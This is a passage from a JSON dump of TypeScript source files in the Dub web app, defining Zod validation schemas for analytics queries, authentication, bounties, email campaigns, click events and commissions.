.transform(parseFilterValue)\n    .describe(\n      \"The full referer URL to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `https://google.com`, `https://google.com,https://twitter.com`, `-https://spam.com`.\",\n    ),\n  url: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The destination URL to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `https://example.com`, `https://example.com,https://other.com`, `-https://spam.com`.\",\n    ),\n  utm_source: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The UTM source to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `google`, `google,twitter`, `-spam`.\",\n    ),\n  utm_medium: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The UTM medium to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `cpc`, `cpc,social`, `-email`.\",\n    ),\n  utm_campaign: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The UTM campaign to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`). \" +\n        \"Examples: `summer_sale`, `summer_sale,winter_sale`, `-old_campaign`.\",\n    ),\n  utm_term: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The UTM term to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`).\",\n    ),\n  utm_content: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"The UTM content to retrieve analytics for. \" +\n        \"Supports advanced filtering: single value, multiple values (comma-separated), or exclusion (prefix with `-`).\",\n    ),\n  root: booleanQuerySchema\n    .optional()\n    .describe(\n      \"Filter for root domains. If true, filter for domains only. If false, filter for links only. If undefined, return both.\",\n    ),\n  saleType: z\n    .enum([\"new\", \"recurring\"])\n    .optional()\n    .describe(\n      \"Filter sales by type: 'new' for first-time purchases, 'recurring' for repeat purchases. If undefined, returns both.\",\n    ),\n  query: z\n    .string()\n    .max(10000)\n    .optional()\n    .describe(\n      \"Search the events by a custom metadata value. Only available for lead and sale events. \" +\n        \"Examples: `metadata['key']:'value'`\",\n    ),\n  // deprecated fields\n  programId: z\n    .string()\n    .optional()\n    .describe(\n      \"Deprecated: This is automatically inferred from your workspace's defaultProgramId. The ID of the program to retrieve analytics for.\",\n    )\n    .meta({ deprecated: true }),\n  tagIds: z\n    .string()\n    .optional()\n    .transform(parseFilterValue)\n    .describe(\n      \"Deprecated: Use `tagId` instead. The tag IDs to retrieve analytics for.\",\n    )\n    .meta({ deprecated: true }),\n  qr: booleanQuerySchema\n    .optional()\n    .describe(\n      \"Deprecated: Use the `trigger` field instead. Filter for QR code scans. If true, filter for QR codes only. If false, filter for links only. If undefined, return both.\",\n    )\n    .meta({ deprecated: true }),\n});\n\n/**\n * Parse analytics/events query parameters with backward compatibility\n * Converts deprecated multiple value fields (tagIds) to singular fields (tagId)\n */\nexport function parseAnalyticsQuery(searchParams: Record<string, string>) {\n  const data = analyticsQuerySchema.parse(searchParams);\n\n  if (data.tagIds && !data.tagId) {\n    data.tagId = data.tagIds;\n  }\n\n  return data;\n}\nexport function parseEventsQuery(searchParams: Record<string, string>) {\n  const data = eventsQuerySchema.parse(searchParams);\n\n  if (data.tagIds && !data.tagId) {\n    data.tagId = data.tagIds;\n  }\n\n  return data;\n}\n\n// Analytics filter params for Tinybird endpoints\nexport const analyticsFilterTB = z.object({\n  eventType: analyticsEvents,\n  workspaceId: z.string().optional(),\n  groupBy: analyticsGroupBy,\n  domain: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\"The domain(s) to retrieve analytics for.\"),\n  domainOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  linkId: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The link IDs to retrieve analytics for (with operator support).\",\n    ),\n  linkIdOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  tenantId: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The tenant ID(s) to retrieve analytics for (with operator support).\",\n    ),\n  tenantIdOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  tagId: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The tag ID(s) to retrieve analytics for (with operator support).\",\n    ),\n  tagIdOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  folderId: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The folder ID(s) to retrieve analytics for (with operator support).\",\n    ),\n  folderIdOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  groupId: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The group ID(s) to retrieve analytics for (with operator support).\",\n    ),\n  groupIdOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  partnerId: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The partner ID(s) to retrieve analytics for (with operator support).\",\n    ),\n  partnerIdOperator: z.enum([\"IN\", \"NOT IN\"]).optional(),\n  customerId: z.string().optional(),\n  start: z.string(),\n  end: z.string(),\n  granularity: z.enum([\"minute\", \"hour\", \"day\", \"month\"]).optional(),\n  timezone: z.string().optional(),\n  // Region is a special case - it's the subdivision part of a region code\n  region: z.string().optional(),\n  root: z\n    .union([z.string(), z.boolean()])\n    .transform((v) => {\n      if (typeof v === \"boolean\") return v;\n      return v === \"true\" || v === \"1\" || v === \"yes\";\n    })\n    .optional()\n    .describe(\n      \"Filter for root domain links. True = root only, false = links only. Single value (no operator).\",\n    ),\n  programId: z.string().optional(),\n  saleType: z\n    .enum([\"new\", \"recurring\"])\n    .optional()\n    .describe(\n      \"Filter sales by type: 'new' or 'recurring'. Single value only (no operator).\",\n    ),\n  // All dimensional filters now go through the JSON filters parameter\n  filters: z\n    .string()\n    .optional()\n    .describe(\"JSON array of advanced filters with operators (IN, NOT IN).\"),\n});\n\nexport const eventsFilterTB = analyticsFilterTB\n  .omit({ granularity: true, timezone: true })\n  .and(\n    z.object({\n      offset: z.coerce.number().default(0),\n      limit: z.coerce.number().default(DEFAULT_PAGINATION_LIMIT),\n      order: z.enum([\"asc\", \"desc\"]).default(\"desc\"),\n      sortBy: z.enum([\"timestamp\"]).default(\"timestamp\"),\n    }),\n  );\n\nconst sortOrder = z\n  .enum([\"asc\", \"desc\"])\n  .default(\"desc\")\n  .optional()\n  .describe(\"The sort order. The default is `desc`.\");\n\nexport const eventsQuerySchema = analyticsQuerySchema\n  .omit({ groupBy: true })\n  .extend({\n    event: z\n      .enum(EVENT_TYPES)\n      .default(\"clicks\")\n      .describe(\n        \"The type of event to retrieve analytics for. Defaults to 'clicks'.\",\n      ),\n    page: z.coerce.number().default(1),\n    limit: z.coerce\n      .number()\n      .max(1000, { message: \"Max pagination limit is 1000 items per page.\" })\n      .default(DEFAULT_PAGINATION_LIMIT),\n    sortOrder,\n    sortBy: z\n      .enum([\"timestamp\"])\n      .optional()\n      .default(\"timestamp\")\n      .describe(\"The field to sort the events by. The default is `timestamp`.\"),\n    order: sortOrder\n      .describe(\"DEPRECATED. Use `sortOrder` instead.\")\n      .meta({ deprecated: true }),\n  });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/auth.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const passwordSchema = z\n  .string()\n  .min(8, \"Password must be at least 8 characters\")\n  .max(1000, \"Password must be less than 1000 characters\")\n  .regex(\n    /^(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).{8,}$/,\n    \"Password must contain at least one number, one uppercase, and one lowercase letter\",\n  );\n\nexport const emailSchema = z\n  .string()\n  .email()\n  .min(1)\n  .transform((email) => email.toLowerCase());\n\nexport const resetPasswordSchema = z\n  .object({\n    token: z.string().min(1),\n    password: passwordSchema,\n    confirmPassword: z.string(),\n  })\n  .refine((data) => data.password === data.confirmPassword, {\n    message: \"Confirm password must match password\",\n    path: [\"confirmPassword\"],\n  });\n\nexport const updatePasswordSchema = z\n  .object({\n    currentPassword: z.string().min(1),\n    newPassword: passwordSchema,\n  })\n  .refine((data) => data.currentPassword !== data.newPassword, {\n    message: \"New password must be different from current password\",\n    path: [\"newPassword\"],\n  });\n\nexport const signUpSchema = z.object({\n  email: emailSchema,\n  password: passwordSchema,\n});\n\nexport const requestPasswordResetSchema = z.object({\n  email: emailSchema,\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/bounties.ts",
    "content": "import {\n  BOUNTY_DESCRIPTION_MAX_LENGTH,\n  BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH,\n  BOUNTY_MAX_SUBMISSION_FILES,\n  BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH,\n  BOUNTY_MAX_SUBMISSION_URLS,\n  BOUNTY_MAX_SUBMISSIONS,\n} from \"@/lib/bounty/constants\";\nimport {\n  BOUNTY_SOCIAL_PLATFORM_METRICS,\n  BOUNTY_SOCIAL_PLATFORM_VALUES,\n} from \"@/lib/bounty/social-content\";\nimport {\n  BountyPerformanceScope,\n  BountySubmissionFrequency,\n  BountySubmissionRejectionReason,\n  BountySubmissionStatus,\n  BountyType,\n} from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { CommissionSchema } from \"./commissions\";\nimport { GroupSchema } from \"./groups\";\nimport { booleanQuerySchema, getPaginationQuerySchema } from \"./misc\";\nimport { EnrolledPartnerSchema } from \"./partners\";\nimport { UserSchema } from \"./users\";\nimport { nullableCountSchema, parseDateSchema } from \"./utils\";\nimport { WORKFLOW_ATTRIBUTES } from \"./workflows\";\n\nexport const bountyPerformanceConditionSchema = z.object({\n  attribute: z.enum(WORKFLOW_ATTRIBUTES),\n  operator: z.literal(\"gte\").default(\"gte\"),\n  value: z.number(),\n});\n\n// Eg: for each additional 1000 views, earn $1, up to $100\nexport const bountySocialContentIncrementalBonusSchema = z\n  .object({\n    incrementCount: z.number().int().positive().optional(),\n    bonusPerIncrement: z.number().min(0).optional(),\n    maxCount: z.number().int().positive().optional(),\n  })\n  .refine(\n    ({ incrementCount, maxCount }) => {\n      if (\n        incrementCount != null &&\n        maxCount != null &&\n        !Number.isNaN(incrementCount) &&\n        !Number.isNaN(maxCount)\n      ) {\n        return maxCount >= incrementCount;\n      }\n\n      return true;\n    },\n    {\n      message: \"Cap must be at least the increment count\",\n      path: [\"maxCount\"],\n    },\n  );\n\nexport const bountySocialContentRequirementsSchema = z.object({\n  platform: z.enum(BOUNTY_SOCIAL_PLATFORM_VALUES),\n  metric: z.enum(BOUNTY_SOCIAL_PLATFORM_METRICS),\n  minCount: z\n    .number()\n    .int()\n    .positive()\n    .optional()\n    .describe(\"Minimum metric required for eligibility\"),\n  incrementalBonus: bountySocialContentIncrementalBonusSchema.optional(),\n});\n\nexport const submissionRequirementsSchema = z.object({\n  image: z\n    .object({\n      max: z.number().int().positive().optional(),\n    })\n    .optional(),\n  url: z\n    .object({\n      max: z.number().int().positive().optional(),\n      domains: z.array(z.string()).optional(),\n    })\n    .optional(),\n  socialMetrics: bountySocialContentRequirementsSchema.optional(),\n});\n\nexport const createBountySchema = z.object({\n  name: z\n    .string()\n    .trim()\n    .max(100, \"Name must be less than 100 characters\")\n    .nullish(),\n  description: z\n    .string()\n    .trim()\n    .max(\n      BOUNTY_DESCRIPTION_MAX_LENGTH,\n      `Description must be less than ${BOUNTY_DESCRIPTION_MAX_LENGTH} characters`,\n    )\n    .nullish(),\n  type: z.enum(BountyType),\n  startsAt: parseDateSchema.nullish(),\n  endsAt: parseDateSchema.nullish(),\n  submissionsOpenAt: parseDateSchema.nullish(),\n  submissionFrequency: z.enum(BountySubmissionFrequency).nullish(),\n  maxSubmissions: z\n    .number()\n    .int()\n    .min(2, \"Total submissions allowed must be at least 2\")\n    .max(BOUNTY_MAX_SUBMISSIONS)\n    .nullish(),\n  rewardAmount: z\n    .number()\n    .positive()\n    .min(1, \"Reward amount must be greater than 1\")\n    .nullable(),\n  rewardDescription: z\n    .string()\n    .trim()\n    .max(100, \"Reward description must be less than 100 characters\")\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish(),\n  submissionRequirements: submissionRequirementsSchema.nullish(),\n  groupIds: z.array(z.string()).nullable(),\n  performanceCondition: bountyPerformanceConditionSchema.nullish(),\n  performanceScope: z.enum(BountyPerformanceScope).nullish(),\n  sendNotificationEmails: z.boolean().optional(),\n});\n\nexport const updateBountySchema = createBountySchema\n  .omit({\n    // omit fields that cannot be updated after creation\n    type: true,\n    performanceScope: true,\n  })\n  .partial();\n\nexport const BountySubmissionFileSchema = z.object({\n  url: z.string().describe(\"The URL of the uploaded file.\"),\n  fileName: z.string().describe(\"The original file name.\"),\n  size: z.number().describe(\"The file size in bytes.\"),\n});\n\n// used in POST, PATCH, DELETE /bounties + bounty.created, bounty.updated webhooks\nexport const BountySchema = z.object({\n  id: z.string(),\n  name: z.string().nullable(),\n  description: z.string().nullable(),\n  type: z.enum(BountyType),\n  startsAt: z.date(),\n  endsAt: z.date().nullable(),\n  submissionsOpenAt: z.date().nullable(),\n  submissionFrequency: z.enum(BountySubmissionFrequency).nullable(),\n  maxSubmissions: z.number(),\n  rewardAmount: z.number().nullable(),\n  rewardDescription: z.string().nullable(),\n  performanceCondition: bountyPerformanceConditionSchema\n    .nullable()\n    .default(null),\n  performanceScope: z.enum(BountyPerformanceScope).nullable(),\n  submissionRequirements: submissionRequirementsSchema.nullable().default(null),\n  socialMetricsLastSyncedAt: z.date().nullable().optional(),\n  groups: z.array(GroupSchema.pick({ id: true })),\n});\n\nexport const getBountiesQuerySchema = z.object({\n  partnerId: z.string().optional(),\n  includeSubmissionsCount: booleanQuerySchema.optional().default(false),\n});\n\n// used in GET /bounties\nexport const BountyListSchema = BountySchema.extend({\n  submissionsCountData: z\n    .object({\n      total: z.number().default(0),\n      submitted: z.number().default(0),\n      approved: z.number().default(0),\n    })\n    .optional(),\n});\n\n// used in GET /bounties/{bountyId}/submissions\nexport const BountySubmissionSchema = z.object({\n  id: z.string().meta({ description: \"The ID of the bounty submission\" }),\n  bountyId: z.string().meta({ description: \"The ID of the bounty\" }),\n  partnerId: z.string().meta({ description: \"The ID of the partner\" }),\n  description: z\n    .string()\n    .nullable()\n    .meta({ description: \"The description of the submission\" }),\n  urls: z\n    .array(z.string())\n    .nullable()\n    .meta({ description: \"The URLs submitted for the submission\" }),\n  files: z\n    .array(BountySubmissionFileSchema)\n    .nullable()\n    .meta({ description: \"The files uploaded for the submission\" }),\n  status: z\n    .enum(BountySubmissionStatus)\n    .meta({ description: \"The status of the submission\" }),\n  performanceCount: nullableCountSchema.meta({\n    description: \"The performance count of the submission\",\n  }),\n  socialMetricCount: z.number().int().nullable().meta({\n    description:\n      \"The social metric count (views or likes) for the social content\",\n  }),\n  socialMetricsLastSyncedAt: z.date().nullable().optional().meta({\n    description:\n      \"The date and time the submission's social metrics were last synced\",\n  }),\n  createdAt: z\n    .date()\n    .meta({ description: \"The date and time the submission was created\" }),\n  completedAt: z\n    .date()\n    .nullable()\n    .meta({ description: \"The date and time the submission was completed\" }),\n  reviewedAt: z\n    .date()\n    .nullable()\n    .meta({ description: \"The date and time the submission was reviewed\" }),\n  rejectionReason: z\n    .string()\n    .nullable()\n    .meta({ description: \"The reason for rejecting the submission\" }),\n  rejectionNote: z\n    .string()\n    .nullable()\n    .meta({ description: \"The note for rejecting the submission\" }),\n  periodNumber: z.number().int().min(1).meta({\n    description: \"The period number for this submission (1-indexed)\",\n  }),\n});\n\nexport const BountySubmissionExtendedSchema = BountySubmissionSchema.extend({\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n    country: true,\n    payoutsEnabledAt: true,\n    groupId: true,\n    status: true,\n    bannedAt: true,\n    bannedReason: true,\n  }),\n  commission: CommissionSchema.pick({\n    id: true,\n    amount: true,\n    earnings: true,\n    status: true,\n    createdAt: true,\n  }).nullable(),\n  user: UserSchema.pick({\n    id: true,\n    name: true,\n    image: true,\n  }).nullable(),\n});\n\nexport const approveBountySubmissionBodySchema = z.object({\n  rewardAmount: z.number().nullish().meta({\n    description:\n      \"The reward amount for the performance-based bounty. Applicable if the bounty reward amount is not set.\",\n  }),\n});\n\nexport const rejectBountySubmissionBodySchema = z.object({\n  rejectionReason: z.enum(BountySubmissionRejectionReason).optional().meta({\n    description: \"The reason for rejecting the submission.\",\n  }),\n  rejectionNote: z\n    .string()\n    .trim()\n    .max(BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH)\n    .optional()\n    .meta({\n      description: \"The note for rejecting the submission.\",\n    }),\n});\n\nexport const getBountySubmissionsQuerySchema = z\n  .object({\n    status: z.enum(BountySubmissionStatus).optional().meta({\n      description: \"The status of the submissions to list.\",\n    }),\n    groupId: z.string().optional().meta({\n      description: \"The ID of the group to list submissions for.\",\n    }),\n    partnerId: z.string().optional().meta({\n      description: \"The ID of the partner to list submissions for.\",\n    }),\n    sortBy: z\n      .enum([\"completedAt\", \"performanceCount\", \"socialMetricCount\"])\n      .default(\"completedAt\")\n      .meta({\n        description: \"The field to sort the submissions by.\",\n      }),\n    sortOrder: z.enum([\"asc\", \"desc\"]).default(\"asc\").meta({\n      description: \"The order to sort the submissions by.\",\n    }),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const socialContentOutputSchema = z.object({\n  likes: z.number(),\n  views: z.number(),\n  handle: z.string().nullable(),\n  platformId: z.string().nullable(),\n  publishedAt: z.date().nullable(),\n  title: z.string().nullable().optional(),\n  description: z.string().nullable().optional(),\n  thumbnailUrl: z.string().nullable().optional(),\n  mediaType: z.enum([\"image\", \"video\", \"carousel\"]).optional(),\n  thumbnailUrls: z.array(z.string()).optional(),\n});\n\nexport const createBountySubmissionInputSchema = z.object({\n  programId: z.string(),\n  bountyId: z.string(),\n  files: z\n    .array(BountySubmissionFileSchema)\n    .max(BOUNTY_MAX_SUBMISSION_FILES)\n    .default([]),\n  urls: z.array(z.url()).max(BOUNTY_MAX_SUBMISSION_URLS).default([]),\n  description: z\n    .string()\n    .trim()\n    .max(BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH)\n    .optional(),\n  isDraft: z\n    .boolean()\n    .default(false)\n    .describe(\"Whether to create a draft submission or a final submission.\"),\n  periodNumber: z\n    .number()\n    .int()\n    .min(1)\n    .optional()\n    .describe(\n      \"The period number to submit for. Required for multi-submission bounties.\",\n    ),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/campaigns.ts",
    "content": "import {\n  CampaignWorkflowAttributeConfig,\n  WorkflowAttribute,\n} from \"@/lib/types\";\nimport { CampaignStatus, CampaignType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { GroupSchema } from \"./groups\";\nimport { getPaginationQuerySchema } from \"./misc\";\nimport { EnrolledPartnerSchema } from \"./partners\";\nimport { parseDateSchema } from \"./utils\";\nimport { WORKFLOW_ATTRIBUTES, workflowConditionSchema } from \"./workflows\";\n\nexport const EMAIL_TEMPLATE_VARIABLES = [\n  \"PartnerName\",\n  \"PartnerEmail\",\n  \"PartnerLink\",\n] as const;\n\nexport const CAMPAIGN_WORKFLOW_ATTRIBUTE_CONFIG: Record<\n  WorkflowAttribute,\n  CampaignWorkflowAttributeConfig\n> = {\n  totalLeads: {\n    label: \"total leads\",\n    inputType: \"number\",\n  },\n  totalConversions: {\n    label: \"total conversions\",\n    inputType: \"number\",\n  },\n  totalSaleAmount: {\n    label: \"total revenue\",\n    inputType: \"currency\",\n  },\n  totalCommissions: {\n    label: \"total commissions\",\n    inputType: \"currency\",\n  },\n  partnerEnrolledDays: {\n    label: \"enrollment duration\",\n    inputType: \"dropdown\",\n    dropdownValues: [1, 3, 7, 14, 30],\n  },\n  partnerJoined: {\n    label: \"joins the program\",\n    inputType: \"none\",\n  },\n};\n\nexport const campaignTriggerConditionSchema = z.object({\n  attribute: z.enum(WORKFLOW_ATTRIBUTES),\n  operator: z.literal(\"gte\").default(\"gte\"),\n  value: z.number(),\n});\n\nexport const CampaignSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  subject: z.string(),\n  preview: z.string().nullable().default(null),\n  from: z.string().nullable(),\n  bodyJson: z.record(z.string(), z.any()),\n  type: z.enum(CampaignType),\n  status: z.enum(CampaignStatus),\n  triggerCondition: campaignTriggerConditionSchema.nullable().default(null),\n  groups: z.array(GroupSchema.pick({ id: true })),\n  scheduledAt: z.date().nullable(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n});\n\n// GET /api/campaigns\nexport const CampaignListSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  type: z.enum(CampaignType),\n  status: z.enum(CampaignStatus),\n  scheduledAt: z.date().nullable(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n  groups: z.array(GroupSchema.pick({ id: true })),\n});\n\nexport const createCampaignSchema = z.object({\n  type: z.enum(CampaignType),\n});\n\nexport const updateCampaignSchema = z\n  .object({\n    name: z.string().trim().max(100, \"Name must be less than 100 characters.\"),\n    subject: z\n      .string()\n      .trim()\n      .max(100, \"Subject must be less than 100 characters.\"),\n    preview: z.string().nullish(),\n    from: z.email().trim().toLowerCase(),\n    bodyJson: z.record(z.string(), z.any()),\n    triggerCondition: campaignTriggerConditionSchema.nullish(),\n    groupIds: z.array(z.string()).nullable(),\n    scheduledAt: parseDateSchema.nullish(),\n    status: z.enum([\n      CampaignStatus.draft,\n      CampaignStatus.active,\n      CampaignStatus.paused,\n      CampaignStatus.scheduled,\n      CampaignStatus.canceled,\n    ]),\n  })\n  .partial();\n\nexport const getCampaignsQuerySchema = z\n  .object({\n    type: z.enum(CampaignType).optional(),\n    status: z.enum(CampaignStatus).optional(),\n    search: z.string().optional(),\n    triggerCondition: z\n      .string()\n      .pipe(\n        z.preprocess(\n          (input: string) => JSON.parse(input),\n          workflowConditionSchema,\n        ),\n      )\n      .optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const getCampaignsCountQuerySchema = getCampaignsQuerySchema\n  .pick({\n    type: true,\n    status: true,\n    search: true,\n  })\n  .extend({\n    groupBy: z.enum([\"type\", \"status\"]).optional(),\n  });\n\nexport const getCampaignsEventsQuerySchema = z\n  .object({\n    status: z.enum([\"delivered\", \"opened\", \"bounced\"]).default(\"delivered\"),\n    search: z.string().optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const getCampaignEventsCountQuerySchema =\n  getCampaignsEventsQuerySchema.pick({\n    status: true,\n    search: true,\n  });\n\nexport const campaignSummarySchema = z.object({\n  sent: z.coerce.number(),\n  delivered: z.coerce.number(),\n  opened: z.coerce.number(),\n  bounced: z.coerce.number(),\n});\n\nexport const campaignEventSchema = z.object({\n  id: z.string(),\n  createdAt: z.date(),\n  openedAt: z.date().nullable(),\n  bouncedAt: z.date().nullable(),\n  deliveredAt: z.date().nullable(),\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    image: true,\n  }),\n  group: GroupSchema.pick({\n    id: true,\n    name: true,\n    color: true,\n  }).nullish(), // group can be null for partners that are banned/deactivated\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/clicks.ts",
    "content": "import * as z from \"zod/v4\";\nimport { commonDeprecatedEventFields } from \"./deprecated\";\nimport { linkEventSchema } from \"./links\";\n\nexport const clickEventSchemaTB = z.object({\n  timestamp: z.string(),\n  click_id: z.string(),\n  workspace_id: z.string().default(\"\"),\n  link_id: z.string(),\n  domain: z.string().default(\"\"),\n  key: z.string().default(\"\"),\n  url: z.string(),\n  continent: z.string().nullable(),\n  country: z.string().nullable(),\n  region: z.string().nullable(),\n  city: z.string().nullable(),\n  latitude: z.string().nullable(),\n  longitude: z.string().nullable(),\n  device: z.string().nullable(),\n  device_model: z.string().nullable(),\n  device_vendor: z.string().nullable(),\n  browser: z.string().nullable(),\n  browser_version: z.string().nullable(),\n  os: z.string().nullable(),\n  os_version: z.string().nullable(),\n  trigger: z.string().nullish(), // backwards compatibility\n  engine: z.string().nullable(),\n  engine_version: z.string().nullable(),\n  cpu_architecture: z.string().nullable(),\n  ua: z.string().nullable(),\n  bot: z.number().nullable(),\n  referer: z.string().nullable(),\n  referer_url: z.string().nullable(),\n  ip: z.string().nullable(),\n  qr: z.number().nullable(),\n});\n\nexport const clickEventSchemaTBEndpoint = z.object({\n  event: z.literal(\"click\"),\n  timestamp: z.string(),\n  click_id: z.string(),\n  link_id: z.string(),\n  url: z.string(),\n  country: z.string().nullable(),\n  city: z.string().nullable(),\n  region: z.string().nullable(),\n  region_processed: z.string().nullable(),\n  continent: z.string().nullable(),\n  device: z.string().nullable(),\n  browser: z.string().nullable(),\n  os: z.string().nullable(),\n  trigger: z.string().nullish(), // backwards compatibility\n  referer: z.string().nullable(),\n  referer_url: z.string().nullable(),\n  referer_url_processed: z.string().nullable(),\n  ip: z.string().nullable(),\n  qr: z.number().nullable(),\n});\n\nexport const clickEventSchema = z.object({\n  id: z.string(),\n  timestamp: z.coerce.date(),\n  url: z.string(),\n  country: z.string(),\n  city: z.string(),\n  region: z.string(),\n  continent: z.string(),\n  device: z.string(),\n  browser: z.string(),\n  os: z.string(),\n  trigger: z.string().nullish(), // backwards compatibility\n  referer: z.string(),\n  refererUrl: z.string(),\n  qr: z.coerce.boolean(),\n  ip: z.string(),\n});\n\nexport const clickEventResponseSchema = z\n  .object({\n    event: z.literal(\"click\"),\n    timestamp: z.coerce.string(),\n    click: clickEventSchema,\n    link: linkEventSchema,\n  })\n  .extend(commonDeprecatedEventFields.shape)\n  .meta({ title: \"ClickEvent\" });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/commissions.ts",
    "content": "import { DATE_RANGE_INTERVAL_PRESETS } from \"@/lib/analytics/constants\";\nimport { CommissionStatus, CommissionType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { CustomerSchema } from \"./customers\";\nimport { LinkSchema } from \"./links\";\nimport {\n  getCursorPaginationQuerySchema,\n  getPaginationQuerySchema,\n} from \"./misc\";\nimport { EnrolledPartnerSchema, WebhookPartnerSchema } from \"./partners\";\nimport { PayoutSchema } from \"./payouts\";\nimport { RewardSchema } from \"./rewards\";\nimport { UserSchema } from \"./users\";\nimport { centsSchema, parseDateSchema } from \"./utils\";\n\nexport const CommissionSchema = z.object({\n  id: z.string().describe(\"The commission's unique ID on Dub.\").meta({\n    example: \"cm_1JVR7XRCSR0EDBAF39FZ4PMYE\",\n  }),\n  type: z.enum(CommissionType).optional(), // Note: Not sure the type will ever be optional\n  amount: z.number(),\n  earnings: z.number(),\n  currency: z.string(),\n  status: z.enum(CommissionStatus),\n  invoiceId: z.string().nullable(),\n  description: z.string().nullable(),\n  quantity: z.number(),\n  userId: z\n    .string()\n    .nullish()\n    .describe(\"The user who created the manual commission.\"),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n});\n\n// Represents the commission object used in webhook and API responses (/api/commissions/**)\nexport const CommissionEnrichedSchema = CommissionSchema.extend({\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n    payoutsEnabledAt: true,\n    country: true,\n    groupId: true,\n  }),\n  customer: CustomerSchema.nullish(), // customer can be null for click-based / custom commissions\n});\n\n// Schema for the commission detail page (GET /api/commissions/:commissionId)\n// TODO: Simplify this for OpenAPI and limit extra fields to in-app only – similar to getLinkInfoQuerySchemaExtended logic\nexport const CommissionDetailSchema = CommissionEnrichedSchema.extend({\n  user: UserSchema.nullish().describe(\"The user who created the commission.\"),\n  reward: RewardSchema.pick({\n    event: true,\n    description: true,\n    type: true,\n    amountInCents: true,\n    amountInPercentage: true,\n  }).nullish(),\n  payout: PayoutSchema.pick({\n    id: true,\n    paidAt: true,\n    initiatedAt: true,\n  })\n    .extend({\n      user: UserSchema.nullish().describe(\"The user who processed the payout.\"),\n    })\n    .nullish(),\n  holdingPeriodDays: z\n    .number()\n    .nullish()\n    .describe(\"The holding period days for the partner group.\"),\n});\n\n// \"commission.created\" webhook event schema\nexport const CommissionWebhookSchema = CommissionSchema.extend({\n  partner: WebhookPartnerSchema,\n  customer: CustomerSchema.nullish(), // customer can be null for click-based / custom commissions\n  link: LinkSchema.pick({\n    id: true,\n    shortLink: true,\n    domain: true,\n    key: true,\n  }).nullable(),\n});\n\nexport const COMMISSIONS_MAX_PAGE_SIZE = 100;\n\nexport const getCommissionsQuerySchema = z\n  .object({\n    type: z.enum(CommissionType).optional(),\n    customerId: z\n      .string()\n      .optional()\n      .describe(\"Filter the list of commissions by the associated customer.\"),\n    payoutId: z\n      .string()\n      .optional()\n      .describe(\"Filter the list of commissions by the associated payout.\"),\n    partnerId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the list of commissions by the associated partner. When specified, takes precedence over `tenantId`.\",\n      ),\n    tenantId: z\n      .string()\n      .optional()\n      